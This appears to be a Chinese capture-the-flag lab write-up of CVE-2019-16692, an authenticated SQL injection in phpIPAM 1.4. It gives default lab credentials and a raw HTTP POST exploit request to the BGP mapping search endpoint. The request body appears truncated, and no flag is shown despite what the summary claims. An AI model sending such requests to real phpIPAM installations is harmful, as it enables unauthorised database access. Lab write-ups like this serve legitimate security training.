春秋云镜 CVE-2019-16692

最新推荐文章于 2024-07-17 14:09:43 发布

isbug0

最新推荐文章于 2024-07-17 14:09:43 发布

阅读量396

点赞数

分类专栏：靶场文章标签：安全 web安全

本文链接：https://blog.youkuaiyun.com/qq_22002773/article/details/132343640

版权

靶场专栏收录该内容

84 篇文章

订阅专栏

文章描述了phpIPAM1.4版本的后台存在SQL注入漏洞，攻击者可以通过提交恶意请求进行登录并获取flag。漏洞利用过程详细展示了利用方法和获取的flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

春秋云镜 CVE-2019-16692 phpIPAM 1.4 - SQL Injection

靶标介绍

phpIPAM 1.4后台存在SQL Injection。

启动场景

在这里插入图片描述

漏洞利用

后台SQL注入，admin/admin888登陆成功。
exp

POST /app/admin/routing/edit-bgp-mapping-search.php HTTP/1.1
Host: xxx.com
Content-Length: 190
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.com
Referer: http://xxx.com/index.php?page=administration&section=sections
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0; phpipam=lv3pkc2n1qmo98cb33cj8jc4h6; table-page-size=50; search_parameters={"addresses":"on","subnets":"on","vlans":"on","vrf":"off","pstn":"off","circuits":"on","customers":"off"}
Connection: close

subnet=1&bgp_id=1